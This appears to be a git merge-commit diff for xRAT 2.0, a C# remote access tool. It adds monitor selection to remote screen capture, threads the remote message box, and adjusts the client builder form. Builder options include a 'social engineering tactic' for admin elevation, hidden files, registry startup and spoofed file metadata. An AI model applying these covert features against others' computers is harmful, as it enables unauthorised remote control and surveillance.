Merge pull request #1 from MaxXor/master

Merge with base
This commit is contained in:
Justin Yanke 2015-04-13 08:35:29 -04:00
commit 6af33c5d5a
12 changed files with 360 additions and 192 deletions

View File

@ -109,7 +109,7 @@ namespace xClient.Core.Commands
if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{ {
new Packets.ClientPackets.Status(string.Format("Writing failed: {0}", destFile.LastError)).Execute(client); new Packets.ClientPackets.Status(string.Format("Writing failed: {0}", destFile.LastError)).Execute(client);
return; return;
} }
if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
@ -223,10 +223,10 @@ namespace xClient.Core.Commands
public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client) public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
{ {
if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality) if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor)
StreamCodec = new UnsafeStreamCodec(command.Quality); StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor);
LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Number); LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Monitor);
BitmapData bmpdata = LastDesktopScreenshot.LockBits( BitmapData bmpdata = LastDesktopScreenshot.LockBits(
new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite, new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite,
LastDesktopScreenshot.PixelFormat); LastDesktopScreenshot.PixelFormat);
@ -237,7 +237,7 @@ namespace xClient.Core.Commands
new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat, new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat,
stream); stream);
new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality).Execute(client); new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
} }
LastDesktopScreenshot.UnlockBits(bmpdata); LastDesktopScreenshot.UnlockBits(bmpdata);
@ -470,7 +470,13 @@ namespace xClient.Core.Commands
public static void HandleShowMessageBox(Packets.ServerPackets.ShowMessageBox command, Client client) public static void HandleShowMessageBox(Packets.ServerPackets.ShowMessageBox command, Client client)
{ {
MessageBox.Show(null, command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon)); new Thread(() =>
{
MessageBox.Show(null, command.Text, command.Caption,
(MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.MessageboxButton),
(MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.MessageboxIcon));
}).Start();
new Packets.ClientPackets.Status("Showed Messagebox").Execute(client); new Packets.ClientPackets.Status("Showed Messagebox").Execute(client);
} }

View File

@ -24,6 +24,8 @@ namespace xClient.Core.Helper
} }
} }
public int Monitor { get; private set; }
public Size CheckBlock { get; private set; } public Size CheckBlock { get; private set; }
private byte[] _encodeBuffer; private byte[] _encodeBuffer;
private Bitmap _decodedBitmap; private Bitmap _decodedBitmap;
@ -49,10 +51,11 @@ namespace xClient.Core.Helper
/// Initialize a new object of UnsafeStreamCodec /// Initialize a new object of UnsafeStreamCodec
/// </summary> /// </summary>
/// <param name="imageQuality">The quality to use between 0-100</param> /// <param name="imageQuality">The quality to use between 0-100</param>
public UnsafeStreamCodec(int imageQuality = 100) public UnsafeStreamCodec(int imageQuality, int monitor)
{ {
this.CheckBlock = new Size(50, 1); this.CheckBlock = new Size(50, 1);
this.ImageQuality = imageQuality; this.ImageQuality = imageQuality;
this.Monitor = monitor;
} }
public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, Stream outStream) public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, Stream outStream)

View File

@ -11,11 +11,15 @@ namespace xClient.Core.Packets.ClientPackets
[ProtoMember(2)] [ProtoMember(2)]
public int Quality { get; set; } public int Quality { get; set; }
[ProtoMember(3)]
public int Monitor { get; set; }
public DesktopResponse() { } public DesktopResponse() { }
public DesktopResponse(byte[] image, int quality) public DesktopResponse(byte[] image, int quality, int monitor)
{ {
this.Image = image; this.Image = image;
this.Quality = quality; this.Quality = quality;
this.Monitor = monitor;
} }
public void Execute(Client client) public void Execute(Client client)

View File

@ -9,13 +9,13 @@ namespace xClient.Core.Packets.ServerPackets
public int Quality { get; set; } public int Quality { get; set; }
[ProtoMember(2)] [ProtoMember(2)]
public int Number { get; set; } public int Monitor { get; set; }
public Desktop() { } public Desktop() { }
public Desktop(int quality, int number) public Desktop(int quality, int monitor)
{ {
this.Quality = quality; this.Quality = quality;
this.Number = number; this.Monitor = monitor;
} }
public void Execute(Client client) public void Execute(Client client)

View File

@ -1,4 +1,5 @@
using System; using System;
using System.IO;
using Mono.Cecil; using Mono.Cecil;
using Mono.Cecil.Cil; using Mono.Cecil.Cil;
using Vestris.ResourceLib; using Vestris.ResourceLib;
@ -12,7 +13,15 @@ namespace xServer.Core.Build
{ {
// PHASE 1 - Settings // PHASE 1 - Settings
string encKey = Helper.Helper.GetRandomName(20); string encKey = Helper.Helper.GetRandomName(20);
AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin"); AssemblyDefinition asmDef;
try
{
asmDef = AssemblyDefinition.ReadAssembly("client.bin");
}
catch (Exception ex)
{
throw new FileLoadException(ex.Message);
}
foreach (var typeDef in asmDef.Modules[0].Types) foreach (var typeDef in asmDef.Modules[0].Types)
{ {

View File

@ -115,8 +115,11 @@ namespace xServer.Core.Commands
if (client.Value.LastDesktop == null) if (client.Value.LastDesktop == null)
{ {
client.Value.StreamCodec = new UnsafeStreamCodec(); client.Value.StreamCodec = new UnsafeStreamCodec();
if (client.Value.LastQuality < 0) if (client.Value.LastQuality != packet.Quality || client.Value.LastMonitor != packet.Monitor)
{
client.Value.LastQuality = packet.Quality; client.Value.LastQuality = packet.Quality;
client.Value.LastMonitor = packet.Monitor;
}
using (MemoryStream ms = new MemoryStream(packet.Image)) using (MemoryStream ms = new MemoryStream(packet.Image))
{ {
@ -133,6 +136,7 @@ namespace xServer.Core.Commands
} }
catch catch
{ } { }
newScreen = null; newScreen = null;
} }
} }
@ -142,10 +146,11 @@ namespace xServer.Core.Commands
{ {
lock (client.Value.StreamCodec) lock (client.Value.StreamCodec)
{ {
if (client.Value.LastQuality != packet.Quality) if (client.Value.LastQuality != packet.Quality || client.Value.LastMonitor != packet.Monitor)
{ {
client.Value.StreamCodec = new UnsafeStreamCodec(); client.Value.StreamCodec = new UnsafeStreamCodec();
client.Value.LastQuality = packet.Quality; client.Value.LastQuality = packet.Quality;
client.Value.LastMonitor = packet.Monitor;
} }
Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms); Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms);

View File

@ -11,11 +11,15 @@ namespace xServer.Core.Packets.ClientPackets
[ProtoMember(2)] [ProtoMember(2)]
public int Quality { get; set; } public int Quality { get; set; }
[ProtoMember(3)]
public int Monitor { get; set; }
public DesktopResponse() { } public DesktopResponse() { }
public DesktopResponse(byte[] image, int quality) public DesktopResponse(byte[] image, int quality, int monitor)
{ {
this.Image = image; this.Image = image;
this.Quality = quality; this.Quality = quality;
this.Monitor = monitor;
} }
public void Execute(Client client) public void Execute(Client client)

View File

@ -9,13 +9,13 @@ namespace xServer.Core.Packets.ServerPackets
public int Quality { get; set; } public int Quality { get; set; }
[ProtoMember(2)] [ProtoMember(2)]
public int Number { get; set; } public int Monitor { get; set; }
public Desktop() { } public Desktop() { }
public Desktop(int quality, int number) public Desktop(int quality, int monitor)
{ {
this.Quality = quality; this.Quality = quality;
this.Number = number; this.Monitor = monitor;
} }
public void Execute(Client client) public void Execute(Client client)

View File

@ -26,11 +26,9 @@ namespace xServer.Core
public bool IsAuthenticated { get; set; } public bool IsAuthenticated { get; set; }
public bool LastDesktopSeen { get; set; } public bool LastDesktopSeen { get; set; }
public bool LastDirectorySeen { get; set; } public bool LastDirectorySeen { get; set; }
public int LastQuality { get; set; } public int LastQuality { get; set; }
public int LastMonitor { get; set; }
public Bitmap LastDesktop { get; set; } public Bitmap LastDesktop { get; set; }
public UnsafeStreamCodec StreamCodec { get; set; } public UnsafeStreamCodec StreamCodec { get; set; }
public UserState() public UserState()
@ -39,6 +37,7 @@ namespace xServer.Core
LastDesktopSeen = true; LastDesktopSeen = true;
LastDirectorySeen = true; LastDirectorySeen = true;
LastQuality = -1; LastQuality = -1;
LastMonitor = -1;
} }
public void DisposeForms() public void DisposeForms()

View File

@ -68,23 +68,23 @@
this.btnBuild = new System.Windows.Forms.Button(); this.btnBuild = new System.Windows.Forms.Button();
this.tooltip = new System.Windows.Forms.ToolTip(this.components); this.tooltip = new System.Windows.Forms.ToolTip(this.components);
this.groupAsmInfo = new System.Windows.Forms.GroupBox(); this.groupAsmInfo = new System.Windows.Forms.GroupBox();
this.lblProductName = new System.Windows.Forms.Label(); this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox();
this.txtProductName = new System.Windows.Forms.TextBox();
this.txtDescription = new System.Windows.Forms.TextBox();
this.lblDescription = new System.Windows.Forms.Label();
this.txtCompanyName = new System.Windows.Forms.TextBox();
this.lblCompanyName = new System.Windows.Forms.Label();
this.txtCopyright = new System.Windows.Forms.TextBox();
this.lblCopyright = new System.Windows.Forms.Label();
this.txtTrademarks = new System.Windows.Forms.TextBox();
this.lblTrademarks = new System.Windows.Forms.Label();
this.txtOriginalFilename = new System.Windows.Forms.TextBox();
this.lblOriginalFilename = new System.Windows.Forms.Label();
this.txtProductVersion = new System.Windows.Forms.TextBox();
this.lblProductVersion = new System.Windows.Forms.Label();
this.txtFileVersion = new System.Windows.Forms.TextBox(); this.txtFileVersion = new System.Windows.Forms.TextBox();
this.lblFileVersion = new System.Windows.Forms.Label(); this.lblFileVersion = new System.Windows.Forms.Label();
this.chkChangeAsmInfo = new System.Windows.Forms.CheckBox(); this.txtProductVersion = new System.Windows.Forms.TextBox();
this.lblProductVersion = new System.Windows.Forms.Label();
this.txtOriginalFilename = new System.Windows.Forms.TextBox();
this.lblOriginalFilename = new System.Windows.Forms.Label();
this.txtTrademarks = new System.Windows.Forms.TextBox();
this.lblTrademarks = new System.Windows.Forms.Label();
this.txtCopyright = new System.Windows.Forms.TextBox();
this.lblCopyright = new System.Windows.Forms.Label();
this.txtCompanyName = new System.Windows.Forms.TextBox();
this.lblCompanyName = new System.Windows.Forms.Label();
this.txtDescription = new System.Windows.Forms.TextBox();
this.lblDescription = new System.Windows.Forms.Label();
this.txtProductName = new System.Windows.Forms.TextBox();
this.lblProductName = new System.Windows.Forms.Label();
this.groupConnection.SuspendLayout(); this.groupConnection.SuspendLayout();
this.groupInstall.SuspendLayout(); this.groupInstall.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit(); ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).BeginInit();
@ -157,6 +157,7 @@
this.txtPassword.PasswordChar = '•'; this.txtPassword.PasswordChar = '•';
this.txtPassword.Size = new System.Drawing.Size(201, 22); this.txtPassword.Size = new System.Drawing.Size(201, 22);
this.txtPassword.TabIndex = 5; this.txtPassword.TabIndex = 5;
this.txtPassword.TextChanged += new System.EventHandler(this.txtPassword_TextChanged);
// //
// lblPassword // lblPassword
// //
@ -174,6 +175,7 @@
this.txtPort.Name = "txtPort"; this.txtPort.Name = "txtPort";
this.txtPort.Size = new System.Drawing.Size(66, 22); this.txtPort.Size = new System.Drawing.Size(66, 22);
this.txtPort.TabIndex = 3; this.txtPort.TabIndex = 3;
this.txtPort.TextChanged += new System.EventHandler(this.txtPort_TextChanged);
this.txtPort.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPort_KeyPress); this.txtPort.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPort_KeyPress);
// //
// lblPort // lblPort
@ -191,6 +193,7 @@
this.txtHost.Name = "txtHost"; this.txtHost.Name = "txtHost";
this.txtHost.Size = new System.Drawing.Size(201, 22); this.txtHost.Size = new System.Drawing.Size(201, 22);
this.txtHost.TabIndex = 1; this.txtHost.TabIndex = 1;
this.txtHost.TextChanged += new System.EventHandler(this.txtHost_TextChanged);
// //
// lblHost // lblHost
// //
@ -243,6 +246,7 @@
this.chkIconChange.Text = "Change Icon"; this.chkIconChange.Text = "Change Icon";
this.tooltip.SetToolTip(this.chkIconChange, "Custom social engineering tactic to elevate Admin privileges."); this.tooltip.SetToolTip(this.chkIconChange, "Custom social engineering tactic to elevate Admin privileges.");
this.chkIconChange.UseVisualStyleBackColor = true; this.chkIconChange.UseVisualStyleBackColor = true;
this.chkIconChange.CheckedChanged += new System.EventHandler(this.chkIconChange_CheckedChanged);
// //
// chkElevation // chkElevation
// //
@ -254,6 +258,7 @@
this.chkElevation.Text = "Enable Admin Elevation"; this.chkElevation.Text = "Enable Admin Elevation";
this.tooltip.SetToolTip(this.chkElevation, "Custom social engineering tactic to elevate Admin privileges."); this.tooltip.SetToolTip(this.chkElevation, "Custom social engineering tactic to elevate Admin privileges.");
this.chkElevation.UseVisualStyleBackColor = true; this.chkElevation.UseVisualStyleBackColor = true;
this.chkElevation.CheckedChanged += new System.EventHandler(this.chkElevation_CheckedChanged);
// //
// picUAC2 // picUAC2
// //
@ -309,6 +314,7 @@
this.txtRegistryKeyName.Name = "txtRegistryKeyName"; this.txtRegistryKeyName.Name = "txtRegistryKeyName";
this.txtRegistryKeyName.Size = new System.Drawing.Size(201, 22); this.txtRegistryKeyName.Size = new System.Drawing.Size(201, 22);
this.txtRegistryKeyName.TabIndex = 18; this.txtRegistryKeyName.TabIndex = 18;
this.txtRegistryKeyName.TextChanged += new System.EventHandler(this.txtRegistryKeyName_TextChanged);
// //
// lblRegistryKeyName // lblRegistryKeyName
// //
@ -339,6 +345,7 @@
this.chkHide.TabIndex = 15; this.chkHide.TabIndex = 15;
this.chkHide.Text = "Hide File"; this.chkHide.Text = "Hide File";
this.chkHide.UseVisualStyleBackColor = true; this.chkHide.UseVisualStyleBackColor = true;
this.chkHide.CheckedChanged += new System.EventHandler(this.chkHide_CheckedChanged);
// //
// btnMutex // btnMutex
// //
@ -415,6 +422,7 @@
this.txtMutex.Name = "txtMutex"; this.txtMutex.Name = "txtMutex";
this.txtMutex.Size = new System.Drawing.Size(201, 22); this.txtMutex.Size = new System.Drawing.Size(201, 22);
this.txtMutex.TabIndex = 1; this.txtMutex.TabIndex = 1;
this.txtMutex.TextChanged += new System.EventHandler(this.txtMutex_TextChanged);
// //
// lblMutex // lblMutex
// //
@ -499,134 +507,6 @@
this.groupAsmInfo.TabStop = false; this.groupAsmInfo.TabStop = false;
this.groupAsmInfo.Text = "Assembly Information"; this.groupAsmInfo.Text = "Assembly Information";
// //
// lblProductName
//
this.lblProductName.AutoSize = true;
this.lblProductName.Location = new System.Drawing.Point(22, 43);
this.lblProductName.Name = "lblProductName";
this.lblProductName.Size = new System.Drawing.Size(82, 13);
this.lblProductName.TabIndex = 1;
this.lblProductName.Text = "Product Name:";
//
// txtProductName
//
this.txtProductName.Location = new System.Drawing.Point(110, 40);
this.txtProductName.Name = "txtProductName";
this.txtProductName.Size = new System.Drawing.Size(201, 22);
this.txtProductName.TabIndex = 2;
//
// txtDescription
//
this.txtDescription.Location = new System.Drawing.Point(110, 68);
this.txtDescription.Name = "txtDescription";
this.txtDescription.Size = new System.Drawing.Size(201, 22);
this.txtDescription.TabIndex = 4;
//
// lblDescription
//
this.lblDescription.AutoSize = true;
this.lblDescription.Location = new System.Drawing.Point(35, 71);
this.lblDescription.Name = "lblDescription";
this.lblDescription.Size = new System.Drawing.Size(69, 13);
this.lblDescription.TabIndex = 3;
this.lblDescription.Text = "Description:";
//
// txtCompanyName
//
this.txtCompanyName.Location = new System.Drawing.Point(110, 96);
this.txtCompanyName.Name = "txtCompanyName";
this.txtCompanyName.Size = new System.Drawing.Size(201, 22);
this.txtCompanyName.TabIndex = 6;
//
// lblCompanyName
//
this.lblCompanyName.AutoSize = true;
this.lblCompanyName.Location = new System.Drawing.Point(14, 99);
this.lblCompanyName.Name = "lblCompanyName";
this.lblCompanyName.Size = new System.Drawing.Size(90, 13);
this.lblCompanyName.TabIndex = 5;
this.lblCompanyName.Text = "Company Name:";
//
// txtCopyright
//
this.txtCopyright.Location = new System.Drawing.Point(110, 124);
this.txtCopyright.Name = "txtCopyright";
this.txtCopyright.Size = new System.Drawing.Size(201, 22);
this.txtCopyright.TabIndex = 8;
//
// lblCopyright
//
this.lblCopyright.AutoSize = true;
this.lblCopyright.Location = new System.Drawing.Point(43, 127);
this.lblCopyright.Name = "lblCopyright";
this.lblCopyright.Size = new System.Drawing.Size(61, 13);
this.lblCopyright.TabIndex = 7;
this.lblCopyright.Text = "Copyright:";
//
// txtTrademarks
//
this.txtTrademarks.Location = new System.Drawing.Point(110, 152);
this.txtTrademarks.Name = "txtTrademarks";
this.txtTrademarks.Size = new System.Drawing.Size(201, 22);
this.txtTrademarks.TabIndex = 10;
//
// lblTrademarks
//
this.lblTrademarks.AutoSize = true;
this.lblTrademarks.Location = new System.Drawing.Point(36, 155);
this.lblTrademarks.Name = "lblTrademarks";
this.lblTrademarks.Size = new System.Drawing.Size(68, 13);
this.lblTrademarks.TabIndex = 9;
this.lblTrademarks.Text = "Trademarks:";
//
// txtOriginalFilename
//
this.txtOriginalFilename.Location = new System.Drawing.Point(110, 180);
this.txtOriginalFilename.Name = "txtOriginalFilename";
this.txtOriginalFilename.Size = new System.Drawing.Size(201, 22);
this.txtOriginalFilename.TabIndex = 12;
//
// lblOriginalFilename
//
this.lblOriginalFilename.AutoSize = true;
this.lblOriginalFilename.Location = new System.Drawing.Point(3, 183);
this.lblOriginalFilename.Name = "lblOriginalFilename";
this.lblOriginalFilename.Size = new System.Drawing.Size(101, 13);
this.lblOriginalFilename.TabIndex = 11;
this.lblOriginalFilename.Text = "Original Filename:";
//
// txtProductVersion
//
this.txtProductVersion.Location = new System.Drawing.Point(110, 208);
this.txtProductVersion.Name = "txtProductVersion";
this.txtProductVersion.Size = new System.Drawing.Size(201, 22);
this.txtProductVersion.TabIndex = 14;
//
// lblProductVersion
//
this.lblProductVersion.AutoSize = true;
this.lblProductVersion.Location = new System.Drawing.Point(12, 211);
this.lblProductVersion.Name = "lblProductVersion";
this.lblProductVersion.Size = new System.Drawing.Size(92, 13);
this.lblProductVersion.TabIndex = 13;
this.lblProductVersion.Text = "Product Version:";
//
// txtFileVersion
//
this.txtFileVersion.Location = new System.Drawing.Point(110, 236);
this.txtFileVersion.Name = "txtFileVersion";
this.txtFileVersion.Size = new System.Drawing.Size(201, 22);
this.txtFileVersion.TabIndex = 16;
//
// lblFileVersion
//
this.lblFileVersion.AutoSize = true;
this.lblFileVersion.Location = new System.Drawing.Point(34, 239);
this.lblFileVersion.Name = "lblFileVersion";
this.lblFileVersion.Size = new System.Drawing.Size(70, 13);
this.lblFileVersion.TabIndex = 15;
this.lblFileVersion.Text = "File Version:";
//
// chkChangeAsmInfo // chkChangeAsmInfo
// //
this.chkChangeAsmInfo.AutoSize = true; this.chkChangeAsmInfo.AutoSize = true;
@ -638,7 +518,143 @@
this.chkChangeAsmInfo.UseVisualStyleBackColor = true; this.chkChangeAsmInfo.UseVisualStyleBackColor = true;
this.chkChangeAsmInfo.CheckedChanged += new System.EventHandler(this.chkChangeAsmInfo_CheckedChanged); this.chkChangeAsmInfo.CheckedChanged += new System.EventHandler(this.chkChangeAsmInfo_CheckedChanged);
// //
// frmBuilder // txtFileVersion
//
this.txtFileVersion.Location = new System.Drawing.Point(110, 236);
this.txtFileVersion.Name = "txtFileVersion";
this.txtFileVersion.Size = new System.Drawing.Size(201, 22);
this.txtFileVersion.TabIndex = 16;
this.txtFileVersion.TextChanged += new System.EventHandler(this.txtFileVersion_TextChanged);
//
// lblFileVersion
//
this.lblFileVersion.AutoSize = true;
this.lblFileVersion.Location = new System.Drawing.Point(34, 239);
this.lblFileVersion.Name = "lblFileVersion";
this.lblFileVersion.Size = new System.Drawing.Size(70, 13);
this.lblFileVersion.TabIndex = 15;
this.lblFileVersion.Text = "File Version:";
//
// txtProductVersion
//
this.txtProductVersion.Location = new System.Drawing.Point(110, 208);
this.txtProductVersion.Name = "txtProductVersion";
this.txtProductVersion.Size = new System.Drawing.Size(201, 22);
this.txtProductVersion.TabIndex = 14;
this.txtProductVersion.TextChanged += new System.EventHandler(this.txtProductVersion_TextChanged);
//
// lblProductVersion
//
this.lblProductVersion.AutoSize = true;
this.lblProductVersion.Location = new System.Drawing.Point(12, 211);
this.lblProductVersion.Name = "lblProductVersion";
this.lblProductVersion.Size = new System.Drawing.Size(92, 13);
this.lblProductVersion.TabIndex = 13;
this.lblProductVersion.Text = "Product Version:";
//
// txtOriginalFilename
//
this.txtOriginalFilename.Location = new System.Drawing.Point(110, 180);
this.txtOriginalFilename.Name = "txtOriginalFilename";
this.txtOriginalFilename.Size = new System.Drawing.Size(201, 22);
this.txtOriginalFilename.TabIndex = 12;
this.txtOriginalFilename.TextChanged += new System.EventHandler(this.txtOriginalFilename_TextChanged);
//
// lblOriginalFilename
//
this.lblOriginalFilename.AutoSize = true;
this.lblOriginalFilename.Location = new System.Drawing.Point(3, 183);
this.lblOriginalFilename.Name = "lblOriginalFilename";
this.lblOriginalFilename.Size = new System.Drawing.Size(101, 13);
this.lblOriginalFilename.TabIndex = 11;
this.lblOriginalFilename.Text = "Original Filename:";
//
// txtTrademarks
//
this.txtTrademarks.Location = new System.Drawing.Point(110, 152);
this.txtTrademarks.Name = "txtTrademarks";
this.txtTrademarks.Size = new System.Drawing.Size(201, 22);
this.txtTrademarks.TabIndex = 10;
this.txtTrademarks.TextChanged += new System.EventHandler(this.txtTrademarks_TextChanged);
//
// lblTrademarks
//
this.lblTrademarks.AutoSize = true;
this.lblTrademarks.Location = new System.Drawing.Point(36, 155);
this.lblTrademarks.Name = "lblTrademarks";
this.lblTrademarks.Size = new System.Drawing.Size(68, 13);
this.lblTrademarks.TabIndex = 9;
this.lblTrademarks.Text = "Trademarks:";
//
// txtCopyright
//
this.txtCopyright.Location = new System.Drawing.Point(110, 124);
this.txtCopyright.Name = "txtCopyright";
this.txtCopyright.Size = new System.Drawing.Size(201, 22);
this.txtCopyright.TabIndex = 8;
this.txtCopyright.TextChanged += new System.EventHandler(this.txtCopyright_TextChanged);
//
// lblCopyright
//
this.lblCopyright.AutoSize = true;
this.lblCopyright.Location = new System.Drawing.Point(43, 127);
this.lblCopyright.Name = "lblCopyright";
this.lblCopyright.Size = new System.Drawing.Size(61, 13);
this.lblCopyright.TabIndex = 7;
this.lblCopyright.Text = "Copyright:";
//
// txtCompanyName
//
this.txtCompanyName.Location = new System.Drawing.Point(110, 96);
this.txtCompanyName.Name = "txtCompanyName";
this.txtCompanyName.Size = new System.Drawing.Size(201, 22);
this.txtCompanyName.TabIndex = 6;
this.txtCompanyName.TextChanged += new System.EventHandler(this.txtCompanyName_TextChanged);
//
// lblCompanyName
//
this.lblCompanyName.AutoSize = true;
this.lblCompanyName.Location = new System.Drawing.Point(14, 99);
this.lblCompanyName.Name = "lblCompanyName";
this.lblCompanyName.Size = new System.Drawing.Size(90, 13);
this.lblCompanyName.TabIndex = 5;
this.lblCompanyName.Text = "Company Name:";
//
// txtDescription
//
this.txtDescription.Location = new System.Drawing.Point(110, 68);
this.txtDescription.Name = "txtDescription";
this.txtDescription.Size = new System.Drawing.Size(201, 22);
this.txtDescription.TabIndex = 4;
this.txtDescription.TextChanged += new System.EventHandler(this.txtDescription_TextChanged);
//
// lblDescription
//
this.lblDescription.AutoSize = true;
this.lblDescription.Location = new System.Drawing.Point(35, 71);
this.lblDescription.Name = "lblDescription";
this.lblDescription.Size = new System.Drawing.Size(69, 13);
this.lblDescription.TabIndex = 3;
this.lblDescription.Text = "Description:";
//
// txtProductName
//
this.txtProductName.Location = new System.Drawing.Point(110, 40);
this.txtProductName.Name = "txtProductName";
this.txtProductName.Size = new System.Drawing.Size(201, 22);
this.txtProductName.TabIndex = 2;
this.txtProductName.TextChanged += new System.EventHandler(this.txtProductName_TextChanged);
//
// lblProductName
//
this.lblProductName.AutoSize = true;
this.lblProductName.Location = new System.Drawing.Point(22, 43);
this.lblProductName.Name = "lblProductName";
this.lblProductName.Size = new System.Drawing.Size(82, 13);
this.lblProductName.TabIndex = 1;
this.lblProductName.Text = "Product Name:";
//
// FrmBuilder
// //
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
@ -653,7 +669,7 @@
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false; this.MaximizeBox = false;
this.MinimizeBox = false; this.MinimizeBox = false;
this.Name = "frmBuilder"; this.Name = "FrmBuilder";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "xRAT 2.0 - Builder"; this.Text = "xRAT 2.0 - Builder";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing); this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing);

View File

@ -1,4 +1,5 @@
using System; using System;
using System.IO;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
using System.Windows.Forms; using System.Windows.Forms;
using xServer.Core.Build; using xServer.Core.Build;
@ -9,11 +10,20 @@ namespace xServer.Forms
{ {
public partial class FrmBuilder : Form public partial class FrmBuilder : Form
{ {
private bool _loadedProfile;
private bool _changed;
public FrmBuilder() public FrmBuilder()
{ {
InitializeComponent(); InitializeComponent();
} }
private void HasChanged()
{
if (_loadedProfile && !_changed)
_changed = true;
}
private void LoadProfile(string profilename) private void LoadProfile(string profilename)
{ {
ProfileManager pm = new ProfileManager(profilename + ".xml"); ProfileManager pm = new ProfileManager(profilename + ".xml");
@ -40,6 +50,7 @@ namespace xServer.Forms
txtOriginalFilename.Text = pm.ReadValue("OriginalFilename"); txtOriginalFilename.Text = pm.ReadValue("OriginalFilename");
txtProductVersion.Text = pm.ReadValue("ProductVersion"); txtProductVersion.Text = pm.ReadValue("ProductVersion");
txtFileVersion.Text = pm.ReadValue("FileVersion"); txtFileVersion.Text = pm.ReadValue("FileVersion");
_loadedProfile = true;
} }
private void SaveProfile(string profilename) private void SaveProfile(string profilename)
@ -95,7 +106,7 @@ namespace xServer.Forms
private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e) private void FrmBuilder_FormClosing(object sender, FormClosingEventArgs e)
{ {
if (MessageBox.Show("Do you want to save your current settings?", "Save your settings?", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) if (_changed && MessageBox.Show("Do you want to save your current settings?", "Save your settings?", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes)
{ {
SaveProfile("Default"); SaveProfile("Default");
} }
@ -120,50 +131,64 @@ namespace xServer.Forms
private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e) private void txtInstallname_KeyPress(object sender, KeyPressEventArgs e)
{ {
string illegal = new string(System.IO.Path.GetInvalidPathChars()) + new string(System.IO.Path.GetInvalidFileNameChars()); string illegal = new string(Path.GetInvalidPathChars()) + new string(Path.GetInvalidFileNameChars());
if ((e.KeyChar == '\\' || illegal.Contains(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar)) if ((e.KeyChar == '\\' || illegal.Contains(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar))
e.Handled = true; e.Handled = true;
} }
private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e) private void txtInstallsub_KeyPress(object sender, KeyPressEventArgs e)
{ {
string illegal = new string(System.IO.Path.GetInvalidPathChars()) + new string(System.IO.Path.GetInvalidFileNameChars()); string illegal = new string(Path.GetInvalidPathChars()) + new string(Path.GetInvalidFileNameChars());
if ((e.KeyChar == '\\' || illegal.Contains(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar)) if ((e.KeyChar == '\\' || illegal.Contains(e.KeyChar.ToString())) && !char.IsControl(e.KeyChar))
e.Handled = true; e.Handled = true;
} }
private void txtInstallname_TextChanged(object sender, EventArgs e) private void txtInstallname_TextChanged(object sender, EventArgs e)
{ {
HasChanged();
RefreshExamplePath(); RefreshExamplePath();
} }
private void rbAppdata_CheckedChanged(object sender, EventArgs e) private void rbAppdata_CheckedChanged(object sender, EventArgs e)
{ {
HasChanged();
RefreshExamplePath(); RefreshExamplePath();
} }
private void rbProgramFiles_CheckedChanged(object sender, EventArgs e) private void rbProgramFiles_CheckedChanged(object sender, EventArgs e)
{ {
HasChanged();
RefreshExamplePath(); RefreshExamplePath();
} }
private void rbSystem_CheckedChanged(object sender, EventArgs e) private void rbSystem_CheckedChanged(object sender, EventArgs e)
{ {
HasChanged();
RefreshExamplePath(); RefreshExamplePath();
} }
